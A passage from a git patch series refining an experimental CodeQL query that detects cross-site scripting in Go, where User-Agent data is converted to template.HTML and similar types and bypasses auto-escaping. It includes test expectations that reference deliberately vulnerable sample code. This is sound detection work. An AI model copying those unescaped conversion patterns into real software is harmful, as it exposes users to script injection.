HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | -| HTMLTemplateEscapingPassthrough.go:74:16:74:30 | call to UserAgent : string | semmle.label | call to UserAgent : string | -| HTMLTemplateEscapingPassthrough.go:75:38:75:43 | caught | semmle.label | caught | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | #select | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | converted | | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | converted | diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go index 04f2dc97937..b0b5325eb62 100755 --- a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go +++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go @@ -70,8 +70,16 @@ func bad(req *http.Request) { // good is an example of a good implementation func good(req *http.Request) { tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`) - { // This will be escaped: - var caught = req.UserAgent() - checkError(tmpl.Execute(os.Stdout, caught)) + { // This will be escaped, so it shoud NOT be caught: + var escaped = source(`link`) + checkError(tmpl.Execute(os.Stdout, escaped)) + } + { + // The converted source value does NOT flow to tmpl.Exec, + // so this should NOT be caught. + src := source(`link`) + converted := template.HTML(src) + _ = converted + checkError(tmpl.Execute(os.Stdout, src)) } } From 7b4a7487935efbffae4be28fc1af2baf3ca875ca Mon Sep 17 00:00:00 2001 From: Slavomir Date: Mon, 8 Mar 2021 18:06:15 +0100 Subject: [PATCH 07/20] Remove DummySource --- .../CWE-79/HTMLTemplateEscapingPassthrough.ql | 9 --------- 1 file changed, 9 deletions(-) diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql index a3ac8f42877..74f52e5447e 100755 --- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql @@ -138,15 +138,6 @@ class FlowConfFromUntrustedToTemplateExecutionCall extends TaintTracking::Config override predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) } } -private class DummySource extends UntrustedFlowSource::Range { - DummySource() { - exists(Function fn, DataFlow::CallNode call | fn.hasQualifiedName(_, "source") | - call = fn.getACall() and - this = call.getResult() - ) - } -} - /** * Holds if the provided `conversion` node flows into the provided `execSink`. */ From 0bb5ef6af2a29d103efb94c62f694252324ac0e0 Mon Sep 17 00:00:00 2001 From: Slavomir Date: Mon, 8 Mar 2021 19:19:21 +0100 Subject: [PATCH 08/20] Fix test --- .../experimental/CWE-79/HTMLTemplateEscapingPassthrough.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) mode change 100755 => 100644 ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go old mode 100755 new mode 100644 index b0b5325eb62..e0468e4bfb2 --- a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go +++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go @@ -71,13 +71,13 @@ func bad(req *http.Request) { func good(req *http.Request) { tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`) { // This will be escaped, so it shoud NOT be caught: - var escaped = source(`link`) + var escaped = req.UserAgent() checkError(tmpl.Execute(os.Stdout, escaped)) } { // The converted source value does NOT flow to tmpl.Exec, // so this should NOT be caught. - src := source(`link`) + src := req.UserAgent() converted := template.HTML(src) _ = converted checkError(tmpl.Execute(os.Stdout, src)) From cc31cd2fe2014913db67e4980374f6cc2ce2dbc4 Mon Sep 17 00:00:00 2001 From: Slavomir Date: Mon, 8 Mar 2021 19:23:11 +0100 Subject: [PATCH 09/20] Fix test --- .../CWE-79/HTMLTemplateEscapingPassthrough.expected | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected index ea27a9e9f78..f81c79f791b 100644 --- a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected +++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected @@ -89,6 +89,9 @@ edges | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | | HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion | | HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:74:17:74:31 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:75:38:75:44 | escaped | +| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:81:16:81:33 | type conversion | +| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:83:38:83:40 | src | nodes | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | semmle.label | type conversion | | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | @@ -261,6 +264,12 @@ nodes | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:74:17:74:31 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:75:38:75:44 | escaped | semmle.label | escaped | +| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:81:16:81:33 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:83:38:83:40 | src | semmle.label | src | #select | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | converted | | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | converted | From d5355eb6b45e90b47c746d0a599d255cf1f9c2ed Mon Sep 17 00:00:00 2001 From: Slavomir Date: Mon, 8 Mar 2021 23:53:19 +0100 Subject: [PATCH 10/20] Cleanup --- .../CWE-79/HTMLTemplateEscapingPassthrough.ql | 20 +++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql index 74f52e5447e..dc7e3f9f689 100755 --- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql @@ -13,16 +13,16 @@ import go import DataFlow::PathGraph /** - * Holds if the provided src node flows into a conversion to a PassthroughType. + * Holds if the provided `untrusted` node flows into a conversion to a PassthroughType. * The `targetType` parameter gets populated with the name of the PassthroughType, - * and `conversionSink` with the node where the conversion happens. + * and `conversionSink` gets populated with the node where the conversion happens. */ predicate flowsFromUntrustedToConversion( - DataFlow::Node src, string targetType, DataFlow::PathNode conversionSink + DataFlow::PathNode untrusted, string targetType, DataFlow::PathNode conversionSink ) { exists(FlowConfFromUntrustedToPassthroughTypeConversion cfg, DataFlow::PathNode source | cfg.hasFlowPath(source, conversionSink) and - source.getNode() = src and + source.getNode() = untrusted.getNode() and targetType = cfg.getDstTypeName() ) } @@ -46,7 +46,7 @@ class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Co FlowConfFromUntrustedToPassthroughTypeConversion() { dstTypeName instanceof PassthroughTypeName and - this = "UnsafeConversion" + dstTypeName + this = "UntrustedToConversion" + dstTypeName } string getDstTypeName() { result = dstTypeName } @@ -68,14 +68,14 @@ class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Co * Holds if the provided `conversion` node flows into the provided `execSink`. */ predicate flowsFromConversionToExec( - DataFlow::Node conversion, string targetType, DataFlow::PathNode execSink + DataFlow::PathNode conversion, string targetType, DataFlow::PathNode execSink ) { exists( FlowConfPassthroughTypeConversionToTemplateExecutionCall cfg, DataFlow::PathNode source, DataFlow::PathNode execSinkLocal | cfg.hasFlowPath(source, execSinkLocal) and - source.getNode() = conversion and + source.getNode() = conversion.getNode() and execSink.getNode() = execSinkLocal.getNode() and targetType = cfg.getDstTypeName() ) @@ -139,7 +139,7 @@ class FlowConfFromUntrustedToTemplateExecutionCall extends TaintTracking::Config } /** - * Holds if the provided `conversion` node flows into the provided `execSink`. + * Holds if the provided `untrusted` node flows into the provided `execSink`. */ predicate flowsFromUntrustedToExec(DataFlow::PathNode untrusted, DataFlow::PathNode execSink) { exists(FlowConfFromUntrustedToTemplateExecutionCall cfg | cfg.hasFlowPath(untrusted, execSink)) @@ -154,9 +154,9 @@ where // C = template execution // Flows: // A -> B - flowsFromUntrustedToConversion(untrustedSource.getNode(), targetTypeName, conversionSink) and + flowsFromUntrustedToConversion(untrustedSource, targetTypeName, conversionSink) and // B -> C - flowsFromConversionToExec(conversionSink.getNode(), targetTypeName, tplExecCall) and + flowsFromConversionToExec(conversionSink, targetTypeName, tplExecCall) and // A -> C flowsFromUntrustedToExec(untrustedSource, tplExecCall) select tplExecCall.getNode(), untrustedSource, tplExecCall, From b42d21f7408da72b94226b24d0221ea567ee3562 Mon Sep 17 00:00:00 2001 From: Slavomir Date: Tue, 9 Mar 2021 00:01:33 +0100 Subject: [PATCH 11/20] Improve comments and naming. --- .../CWE-79/HTMLTemplateEscapingPassthrough.ql | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql index dc7e3f9f689..d1607921c1e 100755 --- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql @@ -146,19 +146,19 @@ predicate flowsFromUntrustedToExec(DataFlow::PathNode untrusted, DataFlow::PathN } from - DataFlow::PathNode untrustedSource, DataFlow::PathNode tplExecCall, string targetTypeName, - DataFlow::PathNode conversionSink + DataFlow::PathNode untrustedSource, DataFlow::PathNode templateExecCall, string targetTypeName, + DataFlow::PathNode conversion where - // A = remoteflowsource + // A = untrusted remote flow source // B = conversion to PassthroughType - // C = template execution + // C = template execution call // Flows: // A -> B - flowsFromUntrustedToConversion(untrustedSource, targetTypeName, conversionSink) and + flowsFromUntrustedToConversion(untrustedSource, targetTypeName, conversion) and // B -> C - flowsFromConversionToExec(conversionSink, targetTypeName, tplExecCall) and + flowsFromConversionToExec(conversion, targetTypeName, templateExecCall) and // A -> C - flowsFromUntrustedToExec(untrustedSource, tplExecCall) -select tplExecCall.getNode(), untrustedSource, tplExecCall, + flowsFromUntrustedToExec(untrustedSource, templateExecCall) +select templateExecCall.getNode(), untrustedSource, templateExecCall, "Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName, - untrustedSource.getNode(), "untrusted source", conversionSink.getNode(), "converted" + untrustedSource.getNode(), "untrusted source", conversion.getNode(), "converted" From 5351a8eeb7143f75e3f1fda90cbd425418e4f833 Mon Sep 17 00:00:00 2001 From: Slavomir Date: Tue, 9 Mar 2021 17:06:05 +0100 Subject: [PATCH 12/20] Use TaintTracking an TaintTracking2 --- .../CWE-79/HTMLTemplateEscapingPassthrough.ql | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql index d1607921c1e..ec04b628a5e 100755 --- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql @@ -18,9 +18,9 @@ import DataFlow::PathGraph * and `conversionSink` gets populated with the node where the conversion happens. */ predicate flowsFromUntrustedToConversion( - DataFlow::PathNode untrusted, string targetType, DataFlow::PathNode conversionSink + DataFlow::PathNode untrusted, string targetType, DataFlow2::PathNode conversionSink ) { - exists(FlowConfFromUntrustedToPassthroughTypeConversion cfg, DataFlow::PathNode source | + exists(FlowConfFromUntrustedToPassthroughTypeConversion cfg, DataFlow2::PathNode source | cfg.hasFlowPath(source, conversionSink) and source.getNode() = untrusted.getNode() and targetType = cfg.getDstTypeName() @@ -41,7 +41,7 @@ class PassthroughTypeName extends string { * this allows the injection of arbitrary content (html, css, js) into the generated * output of the templates. */ -class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Configuration { +class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking2::Configuration { string dstTypeName; FlowConfFromUntrustedToPassthroughTypeConversion() { @@ -68,11 +68,11 @@ class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Co * Holds if the provided `conversion` node flows into the provided `execSink`. */ predicate flowsFromConversionToExec( - DataFlow::PathNode conversion, string targetType, DataFlow::PathNode execSink + DataFlow2::PathNode conversion, string targetType, DataFlow::PathNode execSink ) { exists( - FlowConfPassthroughTypeConversionToTemplateExecutionCall cfg, DataFlow::PathNode source, - DataFlow::PathNode execSinkLocal + FlowConfPassthroughTypeConversionToTemplateExecutionCall cfg, DataFlow2::PathNode source, + DataFlow2::PathNode execSinkLocal | cfg.hasFlowPath(source, execSinkLocal) and source.getNode() = conversion.getNode() and @@ -85,7 +85,7 @@ predicate flowsFromConversionToExec( * A taint-tracking configuration for reasoning about when the result of a conversion * to a PassthroughType flows to a template execution call. */ -class FlowConfPassthroughTypeConversionToTemplateExecutionCall extends TaintTracking::Configuration { +class FlowConfPassthroughTypeConversionToTemplateExecutionCall extends TaintTracking2::Configuration { string dstTypeName; FlowConfPassthroughTypeConversionToTemplateExecutionCall() { @@ -147,7 +147,7 @@ predicate flowsFromUntrustedToExec(DataFlow::PathNode untrusted, DataFlow::PathN from DataFlow::PathNode untrustedSource, DataFlow::PathNode templateExecCall, string targetTypeName, - DataFlow::PathNode conversion + DataFlow2::PathNode conversion where // A = untrusted remote flow source // B = conversion to PassthroughType From 280ffdf060855824085b4ec5dd48b4e92076aa1d Mon Sep 17 00:00:00 2001 From: Slavomir Date: Tue, 9 Mar 2021 17:08:41 +0100 Subject: [PATCH 13/20] Fix test --- .../HTMLTemplateEscapingPassthrough.expected | 219 ------------------ 1 file changed, 219 deletions(-) diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected index f81c79f791b..d22f55d367d 100644 --- a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected +++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected @@ -1,274 +1,55 @@ edges -| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | -| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | -| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | -| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | -| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | -| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | -| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | -| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | -| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | -| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | -| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | -| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | -| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | -| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | -| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | -| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | -| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | -| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | -| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | -| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | -| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | -| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion | | HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | -| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | -| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | -| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | -| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | -| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | -| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | -| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion | | HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | -| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | -| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | -| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | -| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | -| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | -| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | -| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion | | HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | -| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | -| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | -| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | -| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | -| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | -| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | -| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion | | HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | -| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | -| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | -| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | -| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | -| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | -| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | -| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion | | HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | -| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | 